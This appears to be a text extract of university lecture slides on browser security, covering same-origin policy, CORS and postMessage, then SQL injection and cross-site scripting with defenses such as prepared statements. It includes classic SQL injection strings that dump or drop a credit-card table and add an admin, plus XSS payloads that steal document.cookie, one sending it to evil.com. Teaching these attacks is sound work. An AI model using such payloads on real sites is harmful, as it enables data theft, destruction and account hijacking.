CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Is - - PowerPoint PPT Presentation

cse484 cse584
SMART_READER_LITE
LIVE PREVIEW

CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Is - - PowerPoint PPT Presentation

CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Is Isolation Frame and IFRAME Window may contain frames from different sources Frame: rigid division as part of frameset iFrame: flo floati ting inline frame iFrame


slide-1
SLIDE 1

CSE484/CSE584

BASIC WEB SECURITY MODEL

  • Dr. Benjamin Livshits
slide-2
SLIDE 2

Is Isolation

slide-3
SLIDE 3

Frame and IFRAME

 Window may contain frames from different sources  Frame: rigid division as part of frameset  iFrame: flo

floati ting inline frame

 iFrame example  Why use frames?  Delegate screen area to content from another source  Browser provides isolation based on frames  Parent may work even if frame is broken

<iframe src="hello.html" width=450 height=100> If you can see this, your browser doesn't understand IFRAME. </iframe>

slide-4
SLIDE 4

Floating IFRAMEs

4

slide-5
SLIDE 5

At Least A Handful of IFRAMEs is Common

5

slide-6
SLIDE 6

Windows Interact

6

slide-7
SLIDE 7

Web vs. OS: An Analogy

 Primitives

 System calls  Processes  Disk

 Principals: Users  Low-level vulnerabilities

 Buffer overflow  Other memory issues

 Primitives

 Document object model (DOM)  Frames  Cookies / localStorage

 Principals: “Origins”  Application-level vulnerabilities

 Cross-site scripting  Cross-site request forgery  SQL injection  etc.

Operating system Web browser

slide-8
SLIDE 8

Side-by-Side vs. Embedded in a Page

 Two independent

windows

 …or frames  …or browser instances  Interesting

interactions

8

slide-9
SLIDE 9

Frame Embedding

9

slide-10
SLIDE 10

Browser Security Mechanism

 Each frame of a page has an origin  Origin = <pr

protocol://host:port>

 Frame can access its own origin  Network access, Read/write DOM, Storage (cookies)  Frame cannot access data associated with a different origin

A A B B A

slide-11
SLIDE 11

Origin Determination: http://www.example.com

11 11

slide-12
SLIDE 12

SOP For the DOM

With no additional qualifiers, the term "same-origin policy" most commonly refers to a mechanism that governs the ability for JavaScript and other scripting languages to access DOM properties and methods across domains (reference). In essence, the model boils down to this three-step decision process 1) If protocol, host name, port number for two interacting pages match, access is granted with no further checks 2) Any page may set document.domain parameter to a right-hand, fully-qualified fragment of its current host name (e.g., foo.bar.example.com may set it to example.com, but not apple.com). If two pages explicitly and mutually set their respective document.domain parameters to the same value, and the remaining same-

  • rigin checks are satisfied, access is granted.

3) If neither of the above conditions is satisfied, access is denied. 12 12

slide-13
SLIDE 13

Domain Relaxation

 Origin: <scheme, host, (port), hasSetDomain>  Try document.domain = document.domain

www.facebook.com www.facebook.com

www.facebook.com chat.facebook.com

chat.facebook.com

facebook.com facebook.com

slide-14
SLIDE 14

SOP Policy For Cookies: It’s Complicated

14 14

https://code.google.com/p/browsersec/wiki/Part2

slide-15
SLIDE 15

Script Inclusion Excluded From SOP

www.example.com: <script src=“http://ajax.aspnetcdn.c

  • m/ajax/jquery.validate/1.11

.0/jquery.validate.min.js”> </script>

  • Script has privileges of imported

page, NOT source server.

  • Can script other pages in this
  • rigin, load more scripts
  • Other forms of importing

 Why is this a good idea?  Why is this a bad idea?

slide-16
SLIDE 16

SOP: More Details

16 16

 Same-origin policy for DOM access  Same-origin policy for XMLHttpRequest  Same-origin policy for cookies  Same-origin policy for Flash  Same-origin policy for Java  Same-origin policy for Silverlight  Same-origin policy for Gears  Origin inheritance rules

slide-17
SLIDE 17

Remote Scrip iptin ing and Cross-Domain Access

slide-18
SLIDE 18

Additional Mechanisms

Cross-origin network requests

Access-Control-Allow-Origin: <list of domains> Access-Control-Allow-Origin: *

Cross-origin client side communication Client-side messaging via navigation (old browsers) postMessage (modern browsers)

Site B Site A

Site A context Site B context

slide-19
SLIDE 19

Cross-Domain Request

 For example, suppose web

content on domain http://foo.example.com wishes to invoke content

  • n domain

http://bar.other.com

 Code of this sort might be

used within JavaScript deployed on http://foo.example.com

19 19

slide-20
SLIDE 20

Cross-Domain GET Request

20 20

Firefox headers sent out as part

  • f the request

the resource can be accessed by any domain in a cross-site manner

slide-21
SLIDE 21

Pre-Flighting

21 21

Allows to pre-flight cross- domain requests to see if they are allowed Which methods are supported by the domain

slide-22
SLIDE 22

Communication

slide-23
SLIDE 23

Client-Side window.postMessage API

23 23

 Client-side communication between principals

(domains) that don’t necessarily trust each other

Add a contact Share contacts

slide-24
SLIDE 24

Syntax of postMessage

frames[0].postMessage("Attack at dawn!", "http://b.com/"); window.addEventListener("message", function (e) { if (e.origin == "http://a.com") { ... e.data ... } }, false);

Attack at dawn!

slide-25
SLIDE 25

Why Include “targetOrigin”?

 What goes wrong?

frames[0].postMessage("Attack at dawn!");

 Messages sent to frames, not principals

 When would this happen?

25

slide-26
SLIDE 26

Summary

 Http  Rendering content  Cookies  Isolation  Communication  Navigation  Security User Interface  Frames and frame busting

slide-27
SLIDE 27

Source: http://xkcd.com/327/

Break…

27 27

slide-28
SLIDE 28

Web Application Scenario

28 28

HTTP REQUEST HTTP RESPONSE client server

slide-29
SLIDE 29

Memory Exploits and Web App Vulnerabilities Compared

 Format

t str trin ing vu vuln lnerabiliti ties

 Generally, better, more

restrictive APIs are enough

 Simple static tools help  SQL in

inje jection

 Generally, better, more

restrictive APIs are enough

 Simple static tools help

29 29

 Buffer overruns

 Stack-based  Return-to-libc, etc.  Heap-based  Heap spraying attacks  Requires careful

programming or memory-safe languages

 Cross-site scrip

ipting

 XSS-0, -1, -2, -3  Requires careful

programming

slide-30
SLIDE 30

SQL Injection Attacks

 Attacks a particular sit

site, not (usually) a particular user

 Affect applications that use untrusted input as part

  • f an SQL query to a back-end database

 Specific case of a more general problem: using

untrusted input in commands

30 30

slide-31
SLIDE 31

SQL Injection: Example

 Consider a browser form, e.g.:  When the user enters a number and clicks the button, this

generates an http request like https://www.pizza.com/show_orders?month=10

31 31

slide-32
SLIDE 32

Example Continued…

 Upon receiving the request, a Java program might

produce an SQL query as follows:

 A normal query would look like:

sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND order_month= " + request.getParameter("month"); SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10

32 32

slide-33
SLIDE 33

Example Continued…

 What if the user makes a modified http request:

https://www.pizza.com/show_orders?month=0%20OR%201%3D1

 (Parameters transferred in URL-encoded form,

where meta-characters are encoded in ASCII)

 This has the effect of setting

request.getParameter(“month”)

equal to the string

0 OR 1=1

33 33

slide-34
SLIDE 34

Example Continued

 So the script generates the following SQL query:  Since AND takes precedence over OR, the above

always evaluates to TRUE

 The attacker gets every entry in the database! SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1

( )

34 34

slide-35
SLIDE 35

Even Worse…

 Craft an http request that generates an SQL query

like the following:

 Attacker gets the entire credit card database as

well!

SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=0 UNION SELECT cardholder, number, exp_date FROM creditcards

35 35

slide-36
SLIDE 36

More Damage…

 SQL queries can encode multiple commands,

separated by ‘;’

 Craft an http request that generates an SQL query

like the following:

 Credit card table deleted!

 DoS attack SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; DROP TABLE creditcards

36 36

slide-37
SLIDE 37

More Damage…

 Craft an http request that generates an SQL query

like the following:

 User (with chosen password) entered as an

administrator!

 Database owned! SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; INSERT INTO admin VALUES (‘hacker’, ...)

37 37

slide-38
SLIDE 38

May Need to be More Clever…

 Consider the following script for text queries:  Previous attacks will not work directly, since the

commands will be quoted

 But easy to deal with this…

sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + request.getParameter(“topping") + “’”

38 38

slide-39
SLIDE 39

Example Continued…

 Craft an http request where

request.getParameter(“topping”)

is set to

abc’; DROP TABLE creditcards; --

 The effect is to generate the SQL query:  (‘--’ represents an SQL comment)

SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND toppings=‘abc’; DROP TABLE creditcards ; --’

39 39

slide-40
SLIDE 40

Mitigation? Solutions?

 Blacklisting  Whitelisting  Encoding routines  Prepared statements/bind variables  Mitigate the impact of SQL injection

40 40

slide-41
SLIDE 41

Blacklisting?

 I.e., searching for/preventing ‘bad’ inputs  E.g., for previous example:  …where kill_chars() deletes, e.g., quotes and

semicolons

sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + kill_chars(request.getParameter(“topping")) + “’”

41 41

slide-42
SLIDE 42

Drawbacks of Blacklisting

 How do you know if/when you’ve eliminated all

possible ‘bad’ strings?

 If you miss one, could allow successful attack

 Does not prevent first set of attacks (numeric values)

 Although similar approach could be used, starts to get

complex!

 May conflict with functionality of the database

 E.g., user with name O’Brien

42 42

slide-43
SLIDE 43

Whitelisting

 Check that user-provided input is in some set of

values known to be safe

 E.g., check that month is an integer in the right range

 If invalid input detected, better to reject it than to

try to fix it

 Fixes may introduce vulnerabilities  Principle of fail-safe defaults

43 43

slide-44
SLIDE 44

Prepared Statements/bind Variables

 Prepared statements: static queries with bind

variables

 Variables not involved in query parsing

 Bind variables: placeholders guaranteed to be data

in correct format

44 44

slide-45
SLIDE 45

A SQL Injection Example in Java

PreparedStatement ps = db.prepareStatement( "SELECT pizza, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParameter("month"))); ResultSet res = ps.executeQuery();

Bind variables

45 45

slide-46
SLIDE 46

There’s Even More

46 46

 Practical SQ

SQL In Inje jection: : Bit it by Bit it

 Teaches you how to reconstruct entire databases

 Overall, SQL injection is easy to fix by banning

certain APIs

 Prevent queryExecute-type calls with non-constant

arguments

 Very easy to automate  See a tool like LAPSE that does it for Java

slide-47
SLIDE 47

SQL Injection in the Real World

 CardSystems was a major credit card processing

company

 Put out of business by a SQL injection attack

 Credit card numbers stored unencrypted  Data on 263,000 accounts stolen  43 million identities exposed

slide-48
SLIDE 48

Taxonomy of XSS

 XSS-0: client-side  XSS-1: reflective  XSS-2: persistent

48 48

slide-49
SLIDE 49

What is at the Root of the XSS Problem?

49 49

slide-50
SLIDE 50

Web Attacker

3

 Controls malicious website (attacker.com)

 Can even obtain SSL/TLS certificate for his site

 User visits attacker.com – why?

 Phishing email  Enticing content  Search results  Placed by ad network  Blind luck …

 Attacker has no other access to user machine!

slide-51
SLIDE 51

Cross-site Scripting

51 51

 If the application is not careful to encode its output

data, an attacker can inject script into the output

  • ut.writeln(“<div>”);
  • ut.writeln(req.getParameter(“name”));
  • ut.writeln(“</div>”);

 name:

<script>…; xhr.send(document.cookie);</script>

slide-52
SLIDE 52

XSS: Baby Steps

52 52

http://example.com/test.php?color=red&background=pink.

slide-53
SLIDE 53

XSS: Simple Things are Easy

53 53

http://example.com/test.php?color=green&background= </style><script>document.write(String.fromCharCode(88,83,83))</script>

slide-54
SLIDE 54

XSSED.org: In Search of XSS

54 54

slide-55
SLIDE 55

One of f the Reports on XSSED

55 55

slide-56
SLIDE 56

Repro

56 56

slide-57
SLIDE 57

57 57

2006 Example Vulnerability

slide-58
SLIDE 58

2006 Example Vuln lnerability

1)

Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website

2)

Injected code redirected PayPal visitors to a page warning users their accounts had been compromised

3)

Victims were then redirected to a phishing site and prompted to enter sensitive financial data

Source: http://www.acunetix.cz/news/paypal.htm

slide-59
SLIDE 59

Consequences of XSS

59 59

 Cookie theft: most common  http://host/a.php?variable="><script>document

.location='http://www.evil.com/cgi- bin/cookie.cgi? '%20+document.cookie</script>

 But also

 Setting cookies  Injecting code into running application  Injecting a key logger  etc.

slide-60
SLIDE 60

XSS Defenses

60 60

 Simple ones

 Compare IP address and cookie  Cookie HttpOnly attribute

 There’s much more to be covered later